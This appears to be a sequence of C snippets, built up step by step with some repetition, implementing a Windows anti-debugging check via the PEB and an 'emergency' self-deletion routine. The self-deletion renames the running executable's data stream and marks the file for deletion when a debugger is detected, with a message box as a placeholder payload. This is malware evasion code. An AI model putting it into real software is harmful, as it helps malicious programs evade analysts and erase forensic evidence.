```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
```

```c
int SelfDelete(void) {

    HANDLE                hFile                 = INVALID_HANDLE_VALUE; // ONE OF THE ONLY HANDLES THAT USE INVALID_HANDLE
    const wchar_t*        NEWSTREAM             = (const wchar_t*)NEW_STREAM;
    size_t                RenameSize            = sizeof(FILE_RENAME_INFO) + sizeof(NEWSTREAM);
    PFILE_RENAME_INFO     PFRI                  = NULL;
    WCHAR                 PathSize[MAX_PATH * 2] = { 0 }; // [MAX_PATH * 2] BECAUSE OF WIDE CHARS
    FILE_DISPOSITION_INFO SetDelete             = { 0 };

    /*----------------[ALLOC BUFFER FOR FILE_RENAME_INFO]----------------*/
    PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);

    return EXIT_SUCCESS;
}
```

```c
#include "glassBox.h"

#define NEW_STREAM L":CROW"

extern PPEB GetPEB(void);
extern DWORD CustomError(void);

BOOL CheckDebugger(void) {

    info("getting the PEB");
    PPEB pPEB = GetPEB();

    okay("\\___[ PEB\n\t\\_0x%p]\n", pPEB);
    info("checking for debugger presence");
    okay("[PEB->BeingDebugged: 0x%d]", pPEB->BeingDebugged);

    if (pPEB->BeingDebugged != 0) {
        warn("being debugged!");
        return TRUE;
    }

    okay("not being debugged!");
    return FALSE;

}
```

```c
    /*----------------[ALLOC BUFFER FOR FILE_RENAME_INFO]----------------*/
    PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);
    if (!PFRI) {
        warn("[HeapAlloc] failed to allocate memory, error: 0x%lx", CustomError());
        return EXIT_FAILURE;
    }
    okay("allocated memory for FILE_RENAME_INFO [0x%p]", PFRI);
```

```c
int SelfDelete(void) {

    HANDLE                hFile                 = INVALID_HANDLE_VALUE; // ONE OF THE ONLY HANDLES THAT USE INVALID_HAN
    const wchar_t*        NEWSTREAM             = (const wchar_t*)NEW_STREAM;
    size_t                RenameSize            = sizeof(FILE_RENAME_INFO) + sizeof(NEWSTREAM);
    PFILE_RENAME_INFO     PFRI                  = NULL;
    WCHAR                 PathSize[MAX_PATH * 2] = { 0 }; // [MAX_PATH * 2] BECAUSE OF WIDE CHARS
    FILE_DISPOSITION_INFO SetDelete             = { 0 };

    /*-----------------[ALLOC BUFFER FOR FILE_RENAME_INFO]-----------------*/
    PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);
    if (!PFRI) {
        warn("[HeapAlloc] failed to allocate memory, error: 0x%lx", CustomError());
        return EXIT_FAILURE;
    }
    okay("allocated memory for FILE_RENAME_INFO [0x%p]", PFRI);
    info("cleaning up some structures");

    ZeroMemory(PathSize, sizeof(PathSize));
    ZeroMemory(&SetDelete, sizeof(FILE_DISPOSITION_INFO));
    okay("finished!");



    return EXIT_SUCCESS;
```

```c
int SelfDelete(void) {

    HANDLE                hFile                 = INVALID_HANDLE_VALUE; // ONE OF THE ONLY HANDLES THAT USE INVALID_HAN
    const wchar_t*        NEWSTREAM             = (const wchar_t*)NEW_STREAM;
    size_t                RenameSize            = sizeof(FILE_RENAME_INFO) + sizeof(NEWSTREAM);
    PFILE_RENAME_INFO     PFRI                  = NULL;
    WCHAR                 PathSize[MAX_PATH * 2] = { 0 }; // [MAX_PATH * 2] BECAUSE OF WIDE CHARS
    FILE_DISPOSITION_INFO SetDelete             = { 0 };

    /*-----------------[ALLOC BUFFER FOR FILE_RENAME_INFO]-----------------*/
    PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);
    if (!PFRI) {
        warn("[HeapAlloc] failed to allocate memory, error: 0x%lx", CustomError());
        return EXIT_FAILURE;
    }
    okay("allocated memory for FILE_RENAME_INFO [0x%p]", PFRI);
    info("cleaning up some structures");

    ZeroMemory(PathSize, sizeof(PathSize));
    ZeroMemory(&SetDelete, sizeof(FILE_DISPOSITION_INFO));
    okay("finished!");



    return EXIT_SUCCESS;
```

```c
    /*-----------------[MARK FILE FOR DELETION]-----------------*/
    info("setting file for deletion");
    SetDelete.DeleteFile = TRUE;
    okay("finished!");


    return EXIT_SUCCESS;
}
```

```c
    /*-----------------[SET NEW DATA STREAM BUFFER & SIZE IN FILE_RENAME_INFO]-----------------*/
    PFRI->FileNameLength = sizeof(NEWSTREAM);
    okay("set FILE_RENAME_INFO->FileNameLength to %S", NEWSTREAM);
    RtlCopyMemory(PFRI->FileName, NEWSTREAM, sizeof(NEWSTREAM));
    okay("overwrote FILE_RENAME_INFO->FileName with %S data stream", NEWSTREAM);
    okay("\\___[ FILE_RENAME_INFO->FileName\n\t\\_%S]", PFRI->FileName);
```

```
/*-----------------[GET CURRENT FILENAME]-----------------*/
info("getting current filename");
if (GetModuleFileNameW(NULL, PathSize, MAX_PATH * 2) == 0) {
    warn("[GetModuleFileNameW] failed to get filename, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("finished!");
```

```
/*-----------------[GET FILE HANDLE]-----------------*/
info("starting the renaming process");
info("getting handle to the current file");
hFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    warn("[CreateFileW] failed to get a handle to the file, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("\\___[ hFile\n\t\\_0x%p]", hFile);
info("deleting");
```

```
/*-----------------[GET FILE HANDLE]-----------------*/
info("starting the renaming process");
info("getting handle to the current file");
hFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    warn("[CreateFileW] failed to get a handle to the file, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("\\___[ hFile\n\t\\_0x%p]", hFile);
info("renaming");

/*-----------------[RENAME]-----------------*/
if (!SetFileInformationByHandle(hFile, FileRenameInfo, PFRI, RenameSize)) {
    warn("[SetFileInformationByHandle] failed to rewrite the data stream, error: 0x%lx", CustomError());
}
okay("finished!");
info("closing handle to push the change");
CloseHandle(hFile);
okay("done! now beginning stage II");
```

```
/*-----------------[GET FILE HANDLE]-----------------*/
info("starting the renaming process");
info("getting handle to the current file");
hFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    warn("[CreateFileW] failed to get a handle to the file, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("\\___[ hFile\n\t\\_0x%p]", hFile);
info("deleting");
```

```
/*-----------------[GET FILE HANDLE]-----------------*/
info("starting the renaming process");
info("getting handle to the current file");
hFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    warn("[CreateFileW] failed to get a handle to the file, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("\\___[ hFile\n\t\\_0x%p]", hFile);
info("renaming");

/*-----------------[RENAME]-----------------*/
if (!SetFileInformationByHandle(hFile, FileRenameInfo, PFRI, RenameSize)) {
    warn("[SetFileInformationByHandle] failed to rewrite the data stream, error: 0x%lx", CustomError());
}
okay("finished!");
info("closing handle to push the change");
CloseHandle(hFile);
okay("done! now beginning stage II");
```

```
/*-----------------[DELETION II]-----------------*/

info("getting handle to the current file, again");
hFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    warn("[CreateFileW] failed to get a handle to the file, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("\\___[ hFile\n\t\\_0x%p]", hFile);

info("marking the file for deletion");
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &SetDelete, sizeof(SetDelete))) {
    warn("[SetFileInformationByHandle] failed to mark file for deletion, error: 0x%lx", CustomError());
    return EXIT_FAILURE;
}
okay("finished!");
info("closing handle to file, this should delete the file");

CloseHandle(hFile);
info("freeing the allocated heap buffer");
HeapFree(GetProcessHeap(), 0, PFRI);
```

```
    return EXIT_SUCCESS;

}

int main(int argc, char* argv[]) {

    if (!CheckDebugger()) {
        info("executing payload");
        MessageBoxW(NULL, L"KAW KAW KAW", L"NIGHTMARE", MB_ICONEXCLAMATION);
        return EXIT_SUCCESS;
    }

    info("beginning emergency self-deletion!");
    SelfDelete();
}
```